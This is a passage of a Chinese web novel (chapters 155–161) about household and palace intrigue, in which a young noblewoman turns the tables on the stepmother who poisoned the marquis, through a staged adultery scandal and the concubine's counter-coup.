“……本侯,本侯的身体本侯清楚,卓静,去……” “嬷嬷,服侍侯爷用药。”长乐侯夫人说完,转身坐在了桌前,动作优雅的为自己倒了一杯茶水。 张嬷嬷脸色阴鸷,嘴角带着狞笑走近,她的手上,是一碗滚烫的,散发着令人作呕气味的汤药。 “侯爷,您还是乖乖喝药吧,喝了药才能好!” 说着,她一手捏住长乐侯的下巴,用力扳着他的脑袋,强行往他嘴里灌药。 长乐侯挣扎着想要躲开,但此时,他的身体虚弱得连抬手的力气都没有。 滚烫的药汁顺着他的喉咙灌入,烫的他发出痛苦的嘶吼。 剧烈的挣扎让汤药洒了不少,脖子处的皮肤顿时被烫红。 见状,长乐侯夫人眼神一沉,不悦道:“侯爷又不乖,你看看,上等的蜀锦被子就这么被弄脏了!嬷嬷,让人进来打扫。” “卓,卓静,你,你……” 长乐侯的嗓子被滚烫的药汁烫到沙哑,说不出一句完整的话。 长乐侯夫人轻轻吹了吹茶杯,笑道:“别挣扎了,现在你身边的人都被我换了一遍,不想死,就给我乖一点!” 长乐侯夫人重掌侯府以来,不动声色的换掉了长乐侯身边的下人,那些衷心于他,不肯就范的,直接被她私下处置了,比如,忠礼。 只是,他现在还不能死,至少在她的儿子承袭之前不能! 她深吸口气,心情大好的起身,“侯爷也不必绝望,再有三日,怀瑾成功坐上世子之位,本夫人会亲自让你解脱。” 长乐侯夫人半眯着眼,眼底是让人发寒的杀意。 走出房门,她的脸上瞬间换上了一副温和,却又满含算计的表情。 秦顺强如今已经不成气候了,可这府中,还有两个人需要她去处理,免得她们不安分,在三日后的庆宴上给她闹事! 从今以后,她不会让任何人有机会威胁到她的地位! 离开后,长乐侯夫人直奔揽月园。 这几日她忙着将管家的权利收回手中,一直以来没时间搭理秦时月这个孽女,如今她腾出手来,自然不会放过这里。 揽月园内,一片寂静,除了偶尔的虫鸣鸟叫,几乎没什么动静,仿佛与世隔绝。 “秦时月”坐在半倚在床头,单手支额,手中捧着一本书,漫不经心的翻看着。 小荷张口欲言,最后只是叹口气,为她递上一盘新鲜瓜果,“小姐,吃点瓜果休息一下吧。” “秦时月”不语,只是突然放下书本,清冷的眸子直勾勾看向门口。 小荷不解,眨巴着大眼睛问道:“您在看什么?” “有客到,小荷,按之前说好的,去吧。”“秦时月”嘴角微勾,眼神透着一股冷意。 小荷什么都没看到,正疑惑间,门口就冲进来几个粗使婆子,随后就是长乐侯夫人那张保养得宜,却蕴含着冷意的脸。 “小姐……” “还记得我先前交代过的吗?去,别慌。” 小荷拧眉思索一下,立刻攥紧拳头,重重点了点头,然后挺起胸膛迎了出去。 “给夫人请安。”小丫头努力保持镇定,不敢让对方看出她的心虚。 第156章 教你如何做人 长乐侯夫人扫了一眼小荷,目光中带着几分不屑。 她轻轻抬手,示意身后的婆子们控制住小荷,自己则继续前进,打算进屋。 “夫人,小姐她身子不舒服,还没起床,您……” “聪明的话,就给本夫人闭嘴,否则,忠礼的下场,就是你的下场。”长乐侯夫人面色不变,语气却阴森骇人。 小荷被吓白了脸,不敢再吱声。 见状,长乐侯夫人满意她的识趣,冷哼一声,抬脚进屋。 “秦时月”依旧坐在床边,听到脚步声才微微偏头看过来。 “母亲今日怎么有空到我这里?”她声音平静,带着一丝虚弱,倒是侧方面印证了小荷的话。 长乐侯夫人的嘴角勾起一抹意味深长的笑容。 “你倒是沉的住气。我听闻你这些日子大门不出二门不迈的,小日子过得不错,只是……”她顿了顿,语气陡然转冷,“有些事,可不是一味躲着就能平安度过的!” 一想起曾经她对自己的忤逆不顺,长乐侯夫人的脸色就难看的厉害。 今天来,她就是要将这忤逆的东西关进柴房磋磨一阵,她倒要看看,现在谁还能救她! “哦?”“秦时月”挑眉,眼中闪过一丝兴味,“不知母亲指的是何事?” 长乐侯夫人没有直接回答,而是环顾四周,目光落在桌上那盘新鲜瓜果上,张嬷嬷立刻有眼力的将果盘端多来。 她伸手拿起一颗葡萄,在指尖轻轻把玩,随后稍微用力,直接捻成肉泥,阴恻恻开口,“三日后是你兄长的世子册封宴,你也知道,这是侯府的大事,我可不希望有任何意外发生。” “所以呢?母亲是担心我会闹出什么乱子?” 长乐侯夫人接过帕子擦擦手,眯起眼睛,脸上的笑容逐渐消失,取而代之的是一抹阴冷。 “你明白就好。我不妨告诉你,如今侯府上下已尽在我的掌控之中。你如今有两个选择,一,自己搬去柴房,二……我让人将你送回江南!” “秦时月”冷笑一声,缓缓坐起身来,“母亲不觉得自己太过自信了吗?您真的以为,一切都在您的掌控之中吗?” 长乐侯夫人心里打鼓,但很快恢复了镇定,用一种居高临下的姿态警告道:“时月,你还年轻,不懂得什么叫审时度势。既然如此,那就让母亲教你如何做人吧!” 话音一落,她身后的婆子们立刻上前,试图将她制住。 然而,她们才凑近,“秦时月”手腕一翻,一根银针瞬间没入嬷嬷的臂弯。 那个婆子甚至连惨叫都来不及发出,胳膊便自然下垂,瞬间失去了力气。 众人心里大惊,你看看我我看看你,没有一个人再敢上前。 长乐侯夫人脸色铁青的看着面色发白,有些气力不足的秦时月,眼里的怒火几乎要化成实质喷出来。 “母亲怕不是忘了,时月是个医者,这些银针,可以救人,也可以杀人于无形,您若真的不肯放时月一条生路,时月不怕跟你们同归于尽。到时候,皇后娘娘那边,您怕是也不好交代!” 装成秦时月的暗卫心里冷笑。 他虽然不能将主子的神情动作学个十成十,但他暗器耍的厉害,穴位也找的准,这使针的功夫对他来说,简直就是小儿科。 长乐侯夫人瞳孔一缩,显然没料到“秦时月”竟敢如此放肆。 她强压下心中的怒火,冷笑道:“好啊,真是翅膀硬了,连母亲的话都不放在眼里了。既然你执意要闹,那就别怪我心狠手辣!” 就在她打算叫府上的护卫进来强行将人带走时,她身边的张嬷嬷却凑到她耳边小声劝道。 “夫人消消气。虽然皇后如今式微,但陛下到底没有废后的意思,若将来皇后重新得势……依老奴看,不如派人将这院子看管起来,大小姐出不来,就她这副要死不活的身子,估计自己都撑不了多久。” 长乐侯夫人眯起眼睛,看着秦时月仔细斟酌着张嬷嬷的话。 她虽然愤怒,但也没有彻底失去理智,明白张嬷嬷说的对,毕竟,她和皇后娘娘的际遇极度相似,她不是也重掌侯府了吗? 秦时月若真的跟他们同归于尽,真出了什么差池,皇后那边的确不好交代。 “罢了。”长乐侯夫人冷哼一声,语气中满是威胁,“既然你如此不知好歹,那便在这揽月园中好好‘养病’吧。” 说罢,她挥了挥手,示意婆子们退下,只留下了两个看似忠厚实则心狠手辣的婆子守在门口,又留下几个身手不错的护卫将揽月园围的水泄不通。 待众人离去,“秦时月”起身走到窗边,目光幽深,嘴角勾起一抹冷笑,低声自语道:“果然还是按捺不住了吗?也好,省得主子回来还要费心思收拾这些麻烦。” 小荷从院子里跑进来关上房门,小心翼翼的问道:“接下来咱们该怎么办啊?他们把院子围得死死的,连只苍蝇都飞不出去……” “无妨。”暗卫转过身,神色淡然,“侯府的事想必已经传入主子耳中了。” 他顿了顿,眼中闪过一丝寒芒,“等主子归来,便是这些人的死期!” 夜幕降临,两个心黑手辣的仆妇凑在一起,故意提高音量,生怕里边的人听不到般,“大小姐得罪了夫人,如今可是自讨苦吃。咱们只需守住这里,不让她踏出院门半步就行。” 另一人嗤笑一声,不屑道:“我看夫人就是太谨慎了,一个病秧子还能翻出什么浪花来?依我看,她怕是撑不过三天!” 然而,她们并未注意到,就在她们闲聊之际,一道黑影悄然掠过墙头,消失在窗口处。 小荷睡的沉,暗卫却警惕的睁开了双眼,“谁!?” “本小姐累了,影夜会跟你说清楚。”来人声音疲惫,不顾床上有人,翻身上床,不过片刻就沉沉睡去。 没日没夜的跑了三天,中间换了两次马,秦时月和影夜终于在夜幕降临前进了城门。 第157章 反击才刚刚开始 为了不引起注意,他们找了个客栈洗漱一番,耐心等到夜色彻底暗下来,秦时月这才从后墙翻进侯府。 暗卫怔愣一下,慌忙翻身下床,恭敬单膝跪地,“是!” 主子回来了,那么接下来,长乐侯夫人就要准备迎接主子的反击了! 他舔舔嘴唇,眼底闪过一丝兴奋的嗜血光芒。 “这段时间辛苦你了,去休息吧。”秦时月说完最后一句便沉沉睡去。 这一睡,就是两天两夜…… “里边这么久没动静,该不会是已经死了吧?” 门口的嬷嬷嗑着瓜子儿,瞅了眼紧闭的房门,嘟囔一声。 “谁知道呢,呸。”另一个吐出瓜子皮,瞪了眼匆忙离开的小荷,“那丫头这两日极少出来,现在急匆匆的不知道去干什么。” “管她干什么,夫人说了,只要他们不去请大夫,一律不用理会。” 这意思,分明是要让秦时月自生自灭。 你会医术又怎样?没有医药,最终的下场也不过是困死在这后宅里。 秦时月将外头的谈话声听到耳朵里,嘴角微勾。 哎呀呀,多日不见她的母亲,她还是那样愚笨。 不过,若是换做前世,她确实会如长乐侯夫人所愿,悲惨的困死在这后院中。 不过如今嘛…… “小姐,属下去教训她们一下!”暗卫眸色阴沉,显然在替她抱不平。 秦时月笑笑,“急什么?她们不过是听命行事的婆子,况且,这两日她们没进来打扰我,也没什么可惩罚的,由得她们去吧。” 好戏才刚刚开始,她可不想这么早玩死她的好母亲。 她要让她的好母亲亲眼看到秦可云、秦怀瑾,还有她在乎的所有人,一个个,不得好死! 暗卫打个冷颤,莫名觉得秦时月淡然平静的外表下藏着一丝暴虐的杀气。 “你去帮本小姐做一件事。”秦时月招招手,暗卫立刻凑近。 她在他耳边低语几句,交代完,眼底浮现出一丝笑意,“记住,这种事可别让人发现,否则,本小姐也救不了你。” 暗卫慌忙垂下头,恭敬应下,随后,悄无声息的离开了揽月园。 秦时月下床来到窗边,随手推开窗,让清新的空气涌入房间。 她深吸一口气,眼中闪过一丝亮色。 睡了两日,总算是将精神养足了。 “母亲啊母亲,真期待你听到宫里消息时的反应。”秦时月抬眸看着院中郁郁葱葱的大树,低声呢喃。 后宫。 秦可云看着一身黑衣的男子,心跳到了嗓子眼。 “你,你是何人?” 她虽被封了贵人,但因为位份不高,所以被安置在了良妃的景福宫。 母凭子贵,虽然良妃位份不算太高,但这里日日有侍卫巡逻,倒是安全。 所以她乍一看到黑衣人,顿时被吓的双腿发软,怎么也猜不出他是怎么进来的。 “贵人不必害怕。”黑衣人单膝跪地,双手奉上一枚令牌,“我家主子与您是旧识,听闻您入宫后颇得陛下宠爱,很是为您高兴。但他始终忘不了您,想见您一面,还望贵人给个回信。” 黑衣人的话让秦可云心里一惊,面色微微犯白。 为防意外,她入宫时已经改头换面,甚至抛弃了原有姓氏,如今这世上,知道她的真实身份的,除了长乐侯府的老夫人,就只有长乐侯夫人和良妃。 她们之间厉害相连,她坚信她们不会冒这样的风险试探她。 那这个黑衣人背后的主子又是谁?他是如何知道自己身份的? “贵人?” 见她不回话,黑衣人心中冷笑,故意出声打断她的思绪。 秦可云一边看向令牌,一边故作镇定的说道:“本宫听不懂你在说什么,这是什么东……” 话没说完,她便怔愣在当场。 只见令牌上清晰的刻着一个“陆”字。 与她是旧识,忘不了她……莫不是,这黑衣人背后的主子是陆明昭!? 一想到有这种可能,秦可云就被吓的魂不守舍。 她是被定远侯夫人丢破布般丢出来的,陆明昭看在眼里,却没有要接她回去的打算,她这才死心,听从老夫人的意思进了宫。 本以为这事做的神不知鬼不觉,现在突然冒出个人告诉她,陆明昭是知道一切的。 这,这太恐怖了! 一想到他在幕后冷眼看着这一切,秦可云就觉得像是浑身泡在了冰水里,无力挣扎。 “贵人,我家主子说了,若贵人听不懂,他便直接到陛下面前说事了,毕竟,他与您情分深厚,陛下若是知道了,应当会割爱,将您送出宫。” “你胆敢威胁我!?” 秦可云脸色一冷,心里却乱成了一锅粥。 黑衣人低下头,声音不疾不徐,“贵人误会了,我家主子只是想与您叙叙旧,并无他意。但若贵人执意拒绝,那在下只能如实回禀主子了。” 说完,他直接垂下头不再吱声。 秦可云脸色难看的厉害,忍不住在心理权衡着利弊。 她不相信陆明昭是这样的为人,可她不敢赌,若他真在皇上面前提起此事,那她不仅在宫中的地位保不住,就连她的小命…… 思虑再三,她恶狠狠瞪着黑衣人,咬牙道:“此事事关重大,你回去转告你家主人,本宫要考虑一二。” 黑衣人嘴角微扬,抬眸看向她,“贵人可要想快些,我家主子可没什么耐心。” “你!”秦可云攥紧拳头,指甲陷入了掌心,掌心传来的刺痛感让她稍微冷静了些。 她深吸口气,故作冷静道:“如今时局紧张,本宫若要出宫,必须要等一个合适的机会,你回去……” “两日后是太后下葬的日子,主子说,那日便是个好时机。” 秦可云差点哭出声来。 她以前怎么没发现,陆明昭竟是这样的混账东西。 如今边关战事紧张,皇上特意下旨,太后丧葬事宜一切从简,这才有了停灵七日,两日后下葬的皇命。 可她万万没想到陆明昭竟然如此大胆,竟然想利用太后下葬的日子行他自己的方便。 他就不怕此事东窗事发!? 第158章 一环接一环 “若贵人没其他吩咐,属下就不打扰贵人休息了,两日后午后时分,天香楼二楼,天字一号间。主子说了,若是此事被第四人知晓,贵人定会死无葬身之地。” 说完,不等秦可云做出回应,他起身退后,瞬间消失。 黑衣人以极其刁钻的身法离开后宫后,在宫外转了好几圈,确定无人跟踪后,找了个无人的角落脱下一身夜行服,换了一套不起眼的,下人穿的粗布麻衣,转身绕到长乐侯府后巷,一个跳跃,消失在墙头。 此时的秦时月正坐在桌案前写写画画,小荷在一旁满脸笑意的侍候着。 在得知她家小姐回来后,她的心里顿时多了几分底气。 虽然现在她们被困在后院,但她相信自家小姐的能力,她们定能化险为夷! “小荷,肖嬷嬷怎么样了?” “昨夜服了您让我送去的药,今早已经好多了。”小荷喜滋滋的回答。 前两日肖嬷嬷病了,可揽月园被团团围着,不仅大夫进不了,就连药也进不来。 暗卫虽然将秦时月装的入木三分,但他唯独不会医术,这样一来,肖嬷嬷的身体状况每况愈下。 好在小姐回来的及时,她随便在身上翻找出来的药,肖嬷嬷一服下,症状就见轻了。 “那就好,对了,老夫人院子里有动静吗?” “小姐,老夫人前些日子去世了,她院子里的那些丫鬟婆子都被夫人打发去做苦力了,春兰夏竹在后院,做着最苦最累的浆洗、打扫恭桶的活计。” 小荷跟在秦时月身边多年,她一开口,小荷立刻明白她在问什么。 果然,秦时月点点头,声音不疾不徐,“她们跟了你家小姐一趟,抽个时间过去知会一声,就说让她们再坚持坚持,你家小姐会救她们的。” “她们听到这消息,怕是要高兴坏了。”小荷一边整理桌上的纸张,一边笑着说道。 秦时月抬眸看向窗外那轮清冷的皎月,“现在高兴还为时尚早,母亲前些日子虽然失势,但这些年将侯府经营得滴水不漏,若非如此,也不可能短短几日就重掌侯府。 不过,她错就错在她对秦时月太过决绝。 “既然她选择不顾念亲情步步紧逼,那就别怪我心狠手辣了。”秦时月挑眉冷笑,眼神冷的让人害怕。 小荷忍不住打了个寒颤,虽然小姐平日待人温和,但每当她露出这样的神情时,总让人感到一种无形的压迫感。 就在这时,一道黑影从窗口翻进来,小荷被吓了一跳,几乎是下意识捂住了自己的嘴,这才没喊出声来。 “小姐。” 小荷听出来人的声音,立刻转身退了出去,并为他们关好了房门。 离开的时候,还惹来了两个婆子的谩骂。 “事情办的怎么样了?”秦时月停下笔,动作慵懒的将刚写的东西塞进信封,然后问到。 “回小姐,已经办妥了,按您的吩咐,两日后,午后时分,天香楼二楼,天字一号间。” 暗卫恭敬回道,大概猜到了秦时月的计划,他的心里隐隐有些激动。 “办的不错,这个送给芳姨娘,然后便没你的事了。” 长乐侯夫人太过自负,自以为掌控了整个侯府,竟然觉得芳姨娘翻不起什么风浪,对芳萍园疏于看管。 这样也好,能省她不少事。 长乐侯夫人担心夜长梦多,想在太后下葬后立刻给秦怀瑾封世子,她偏不如她的意! “是!”暗卫领命退下。 芳姨娘在收到这封信的时候面色微变,随后勾起一抹势在必得的微笑。 她让暗卫转达,说她知道该怎么做,随后,当着暗卫的面将信烧成了灰烬。 两日后。 太后下葬的日子如约到来,整个皇宫笼罩在一片肃穆与悲痛之中。 长乐侯的爵位虽然是靠秦时月受封的,但好歹是个官职,所以需要出面为太后带孝。 但长乐侯如今床都下不了,这些事,自然由秦怀瑾这个嫡长子代劳。 至于明月县主未能参加,长乐侯夫人给出的是同样的理由,重疾,不能前来。 而此时,秦时月站在揽月园的窗前,目光遥遥看着近在咫尺又远在天边的宫墙,轻轻摩挲着手中的茶杯,嘴角带着一抹意味深长的冷笑。 就在这时,小荷噘着嘴进来了,说即便是今日这样重要的日子,那两个看守的婆子也不曾放松警惕,甚至还在门口嚼舌根,她真恨不得去揍她们一顿。 秦时月闻言只是淡淡一笑,“没什么奇怪的,越是这种重要的时候,我那个好母亲,越要将这侯府看的更紧,毕竟,一旦出纰漏,就是你死我活的局面。” “母亲啊母亲,”她低声道:“希望你能喜欢我为你准备的这份惊喜,好好欣赏这场好戏!” 另一边,芳姨娘已经按照秦时月交代的计划行动了起来。 她利用长乐侯夫人对她的轻视,利用秦时月给她留的人,悄然布置着一切。 与此同时,天香楼二楼的天字一号间里,秦可云如坐针毡。 她不知道陆明昭究竟想做什么,但眼下她别无选择,只能硬着头皮赴约,或许是因为精神高度紧张,她并没有察觉到屋内似有若无的桃花香。 不知过了多久,秦可云只觉得浑身燥热,她坨红着一张脸,难耐的扯开了衣襟,就在这时,房门从外被人推开。 此时的她眼神迷离,浑浑噩噩的,并没有看清来人是谁。 在她彻底失去意识前,她只记得,她被一个浑身滚烫的人抱在了怀里…… 长乐侯夫人听到消息的时候还在良妃的景福宫里得意的和良妃推杯换盏。 她深知想要秦可云走的更长远,就一定要维系好良妃这条纽带,所以此次来,她夹带了不少私货进来。 可她怎么都没想到,容贵人与人私通的消息会传到宫里,更没想到的是,这种事情会发生在太后下葬这天! 长乐侯夫人手中的酒杯骤然滑落,摔的粉碎,脸色瞬间变的惨白,身体不由自主的颤抖起来。 第159章 心情大好 良妃的脸色也极为难看,她猛的站起身厉声质问来人,“这到底是怎么回事?你给本宫说清楚!” 该死!她就知道秦可云那个小贱人是个不安分的,若此事捅到陛下那,她,她这个中间人必然第一个被降罪! 来人慌慌张张说不出一句完整的话,良妃失去了耐性,转而看向长乐侯夫人,脸色阴鸷,“好啊,是你这个贱人要害本宫!” “我就说你怎么这么好心,把自己的女儿送进宫帮本宫,你竟然是想用庶女搬倒本宫,给皇后那个老女人做嫁衣!” 她明白了,她都明白了。 这个贱人的亲生女儿是皇后的儿媳,她自然要为她的亲生女儿谋划! 而自己竟然傻乎乎的相信了这个贱人! “娘娘,臣妇也不知道是怎么回事啊,这里边,这里边一定有误会,一定有人蓄意栽赃!”长乐侯夫人双腿一软,噗通一下跪倒在地。 良妃冷笑一声,“误会?栽赃?谁有这么大的胆子,敢在太后下葬这样重要的日子里设计这种事!贱人,你以为本宫是个傻子吗?” 她目光如刀,恨不得当场将长乐侯夫人活剐了。 长乐侯夫人浑身颤抖,绞尽脑汁想着对策,可脑子里一片混乱。 甚至想不明白,这到底是怎么回事。 就在这时,门外传来一阵急促的脚步声。 景福宫的一个小太监慌慌张张的跑进来,脸色煞白,结结巴巴的禀报,“娘娘,不好了,现在整个后宫都在传容贵人与人私通……” 此话一出,屋内众人皆是大惊失色。 良妃的脸色更加难看。 这个时候出宫,必然跟秦可云那个贱人做的好事有关。 不管如何,她一定不能让陛下看到那样的场面! 想到这,她一把揪住小太监的衣领,阴狠道:“本宫不管你们用什么办法,去把容贵人给本宫绑了藏起来,快!” “怕,怕是来不及了,一炷香前,陛下震怒,早带着众人出宫了……”小太监跪伏在地,丝毫不敢看良妃,生怕她一个不高兴,自己就要成为刀下亡魂。 “你说什么?”良妃眼前一黑,噗通一声瘫坐在贵妃椅上。 …… “小姐,听说整个京城都乱套了,您不想出去看看吗?” 小荷眼巴巴的看着窗外,撒娇道。 秦时月不紧不慢的修剪着花枝,嘴角带笑,“有什么好看的?此时良妃、母亲,工部侍郎家都乱成了一锅粥,咱们现在过去,除了听到无休止的哭闹,什么都看不到。” 不错,被算计的,不是陆明昭,而是工部侍郎家的公子,曾被他们算计,想让她许配的马公子,马文松。 之所以选他,是因为马文松最擅长的便是欺男霸女,逼良为娼。 前世他更是逼死一位农户家在女儿。 这种人,不配活在世上! 小荷似懂非懂,但还是收起了好奇心,乖巧的站到了一旁。 见她模样可怜,秦时月笑着放下了剪刀,“罢了,这段时间你被困在这后院许久,也是委屈你了,收拾收拾,本小姐带你去街上转转就是。” 秦可云的下场已经注定,这热闹,她不用急着看。 长乐侯夫人此时定然忙的不可开交,忙着遮掩秦可云的身份,所以,根本没时间再管这侯府后院里的事。 这个时候,是出门的好时机,也是芳姨娘快速拿下侯府的好时机,就看她懂不懂得把握机会了。 “可门口那两个婆子……”小荷眼神兴奋,想到守在门口的两人,又一阵失落。 又她们和门口那些护卫在,她和小姐根本出不去。 “噗嗤。”秦时月被她逗笑,“你忘啦,咱们又不是单枪匹马的。” 说完,她低唤一声“来人”,屋内立刻多了一道身影。 “那些人,也是时候料理了。”秦时月嘴角笑意不减,眸光却透着森森寒意。 暗卫恭敬应下,眨眼消失在屋内。 下一秒,门外传来“咚咚”,两声闷响。 小荷双眼圆睁,不自觉吞了口唾沫。 秦时月洗好手后朝小荷打了个响指,示意她可以出发了。 小荷眨眨眼回过神,快步走到秦时月身边,贴心的将丝帕递了过去。 主仆二人走出侯府,一路上无人阻拦。 那些对揽月园严加看守的护卫们此刻竟一个也看不见踪影。 小荷忍不住低声问道:“小姐,那些人,不会都被解决了吧?” 这才用了多少时间?真要是这么短的功夫就解决了这么多人,那,那也太恐怖了。 秦时月并未回答,只是目光淡淡扫过四周。 在看到墙角有人冒着脑袋偷看的时候,忍不住微微一笑。 福利的下人、护卫并不一定是被料理了,她猜测,是今日的风波太大,她那个好母亲担心侯府出事,所以将人手叫去处理秦可云的事情了。 这样也好,她无暇顾及后院,正好方便她们行事。 走到门口,秦时月停下来,道:“你去芳萍园一趟,将这个给芳姨娘,告诉她这是解毒丸,可解百毒,成败,就看这一次了。” 小荷接过小瓶,不敢耽搁,一溜烟的跑向了芳萍园。 街道上热闹非凡。 主仆俩一上街,到处都是关于容贵人私通的消息,茶馆里、酒肆中,无不充斥着各种版本的内情,有人甚至在猜测,这件事背后肯定有人操纵。 听到这些,秦时月只是唇角微勾,心情大好。 “小姐,您说,那位马公子……也会被降罪吗?”小荷小声问道。 秦时月停下脚步,看向不远处的一家绸缎庄,唇角勾起一抹意味深长的笑容,“他不仅会被降罪,连带着工部侍郎家也会因此被牵连。走吧,咱们去选两块布料。” “选布料?小姐是要做新衣吗?” “我那个小弟/小妹也快出世了,选两块布料,做两对虎头帽送过去。” 芳姨娘做的不错,若她肚子里的孩子能平安降世,就当她这个做姐姐的,给他/她的一些小礼物吧。 小荷没再多问。 两人走进绸缎庄,挑了两匹上好的布料。 第160章 后患 秦时月与小荷都是一身男装,掌柜没认出秦时月的身份。 但她选的是店里最上乘的布料,所以掌柜的态度很是恭敬,甚至不厌其烦的为她们推荐最新到的花样。 秦时月看似在挑选布料,实则,余光在不断观察外面的情况。 容贵人私通的事之所以在这么短的时间里传遍整个京城,自然是她的手笔。 只是她觉得,这些还不够,毕竟,秦可云的身份还没被爆出来。 她得好好想想,什么时候爆出来,才能给她那个好母亲致命一击! “小姐您快看,那个是秦可云和马公子吗?” 小荷看到街上的场景,震惊的捂着嘴,不敢发出什么声音。 只见秦可云、马文松衣衫破碎、暴露的被分别关在两个笼子里,被人推搡着游街示众。 周围的人群议论纷纷,指指点点,有人带头朝他们扔烂菜叶和臭鸡蛋。 秦可云头发散乱,满脸泪痕,眼里满是绝望,但她仍不死心的大喊大叫,说自己是冤枉的,被人陷害的。 秦时月看着这一幕,眼中闪过一丝舒爽。 只是,这还只是开始,接下来的事情,会更精彩! 她轻轻拍了拍小荷的肩膀,“没什么可看的,走吧,再去别处逛逛。” 小荷点点头,紧紧跟在她身后。 随着夜幕降临,街上的喧嚣逐渐平静下来。 秦时月带着小荷回到了揽月园,刚进门就看到暗卫已经等候多时。 “小姐,芳姨娘那边传来消息,侯爷已经醒了。” 秦时月嘴角带笑,满意的点点头,“不错,告诉她,接下来,要好好利用这机会。” 暗卫领命离去。 侯爷醒来的事很快在侯府里传开,所有人都意识到了一件事,侯府的天,怕是又要变了。 长乐侯夫人虽然为秦可云的事焦头烂额,但秦可云的身份至今还没暴露,所以并没有被牵连,晚上,在张嬷嬷的搀扶下回了府。 谁知一进门就听到下人们议论长乐侯醒过来的事,她心中一惊,顿觉不妙,匆匆赶往长乐侯的院子。 此时,芳姨娘正守在那里,消瘦的小脸上带着温柔贤淑的神情,与长乐侯说话的时候,又不经意间流露出浓浓的委屈。 长乐侯脸色苍白,但服用过解药,精神尚可,见到长乐侯夫人进来,面上一冷,“你还敢回来!” 长乐侯夫人眼前发黑,双腿发软。 她怎么都想不明白这到底是怎么回事,先是秦可云无端与人私通被发现,如今命悬一线,身中慢性毒药的秦顺强竟然……无事了? 芳姨娘心里偷笑,适时递上一碗参汤,柔声道:“侯爷刚醒来,身子虚弱,这参汤又补气养神的功效,您喝一些,消消气。” 长乐侯眸光一柔,就着她递到嘴边的汤匙喝了一口,随后微微点头道:“这些日子辛苦你了,你放心,本侯大难不死,一定给你们母子做主!” 说着,阴冷的目光直接落在了长乐侯夫人身上。 而长乐侯夫人听到他的话,脸色也阴沉了下来。 他刚清醒就恨不得给芳姨娘这个贱人做主,这是全然不把她当回事! 既然这样,那他们这对,也没必要留下去了! “来人!”长乐侯夫人眼神阴鸷的低喊一声,然后冷冷看向长乐侯,“你如此无情,就别怪我无义!你们死了,我会让人将你们挫骨扬灰,让你们生不能同寝,死不能同穴!” 另一边,揽月园内,秦时月听到暗卫带回的消息后,唇角勾起一抹意味深长的笑容。 “噗嗤。” “我这母亲还真是愚蠢,她难不成到现在都没发现,她安排的人,早就被芳姨娘料理干净了吗?” “小姐,接下来要做什么嘛?”小荷心里隐隐有些激动。 “不用。”秦时月半倚在窗边,抬眸扫了眼皎白的明月,目光里似乎有股说不清道不明的意味,“咱们什么都不用做。在她给秦顺强下毒的那一刻,她和秦顺强之间,就已经是不死不休的局面了。” 他们是她的亲生父母,即便有上一世的恨意,可如今走到这一步,她还是并不想看见。 但她千不该万不该,不该希望自己死…… 另一边,长乐侯夫人的喊声并没有带来预期中的回应,房间里的气氛,顿时变的有些诡异。 芳姨娘适时开口,“夫人,侯爷清醒后的第一件事就是让妾身替换了府中的所有护卫,您的人……都被送出府了。” 送出府是送出府了,不过送去的,是乱葬岗。 她才不会像长乐侯夫人那样优柔寡断,给自己留下后患! 长乐侯的脸色阴沉不定,缓缓开口,“你不必给这个毒妇解释,这些年本侯错信了她,她这种毒妇,就不配为人!来人!” 话音一落,门被推开,紧接着,几名面色冷峻的护卫冲了进来,直奔长乐侯夫人而去。 这些人是秦时月留给芳姨娘的,长公主的私兵,但长乐侯正沉浸在要将长乐侯夫人就地正法的喜悦中,并没有察觉出他们与一般护卫的不同。 长乐侯夫人被控制住,瞪大眼睛,满脸不可置信。 她怎么也没想到,她不过是进了一趟宫,事情就发展到了这一步。 她挣扎着想要反抗,张嬷嬷也跪地不断求饶,可那些护卫的手就像鹰爪一般,牢牢控制着她。 长乐侯更是冷哼一声,绝情道:“你这个毒妇,对本侯下毒,还想害死本侯的爱妾和未出世的孩子,今日便是你的死期!谁来也救不了你!” 事到如今,长乐侯夫人知道自己大势已去,只能疯狂摇头,试图做最后的挣扎,“不,不是我,是那个贱人,是她做的!” 芳姨娘委屈的眼眶泛红,“夫人,毒是您下的,我被您囚禁在芳萍园,若不是远儿想办法找来了解毒丹,侯爷和我们娘儿三……怕是都要被困死在这后院里。” 此言一出,长乐侯更是气的火冒三丈,势要杀之而后快,挥了挥手,护卫们拖着长乐侯夫人就往外走。 第161章 一切尽在掌握 就在这时,外面突然传来一阵喧哗声,一个下人慌慌张张的跑进来,结巴着喊道:“侯爷,不,不好了,宫里来人了!” 这句话让房内的所有人愣在了当场。 长乐侯皱眉喝道:“慌什么!宫里又不是头一次来人,是陛下身边的大太监,还是……” 他话未说完,就见皇帝身边的大太监江福德带着一群侍卫快步走了进来。 江福德面容冷峻,眼神里带着杀气,扫视了一圈房内的情况,最后落在被护卫控制住的长乐侯夫人身上。 长乐心里不悦,但认出是江福德,他也不敢当面说什么,连忙扶着芳姨娘起身打算行礼。 不等他开口,江福德高声道:“陛下有旨,拿长乐侯夫人卓氏,进宫见驾!” 一句话,在场的所有人都愣住了,长乐侯夫人更是双腿发软,眼神绝望,下一秒,腿间一热,竟当场被吓尿了。 江福德见状捂住鼻子冷哼一声,“现在知道怕了?欺君瞒上的时候怎么不知道怕?来人!拿人!” “不,不是我,公公,我不知道啊,都是秦可云,都是秦可云那个逆女自己的主意,是,是老夫人将她送进宫的啊!” 长乐侯夫人被吓的口不择言,还没等殿前对峙,就已经招了个七七八八。 江福德冷冷的勾着唇,根本不听她解释。 长乐侯此时也听出了个大概,心里有些不安。 秦可云的事他虽然被蒙在鼓里,但此事既然是长乐侯夫人做的,那他就脱不了干系。 他正心乱如麻,江福德突然看向他,“侯爷,跟杂家走一趟吧?” “公,公公,此事本侯完全不知情,还请公公……” “侯爷有没有涉案其中,还是进宫跟陛下说吧,请~” 此话一出,长乐侯张了张嘴,还想说什么,却又不敢违抗圣旨,只能颤巍巍的站起身来。 芳姨娘见状,连忙伸手扶住他,眼神担忧,“侯爷,您身子还没好……” 话未说完,江福德冷声打断,“侯爷若是身体不适,杂家可让人抬您进宫,只是到时候若是惹了陛下不快,怕是后果更严重!” 房内的气氛凝滞得几乎令人窒息,长乐侯夫人被两个侍卫架着,浑身止不住的颤抖,嘴里不停的重复着一句话:怎么会这样……怎么会这样…… 直到长乐侯夫妇被押走,芳姨娘才忧心忡忡的赶到揽月园。 她是想搬倒长乐侯夫人,并不想整个长乐侯府陷入危难,一旦长乐侯被问罪,她和孩子们后半辈子的好日子就化成泡影了。 想到这些,她的步子更急了些。 此时秦时月正坐在院内的秋千上,暗卫传回消息后就退下了。 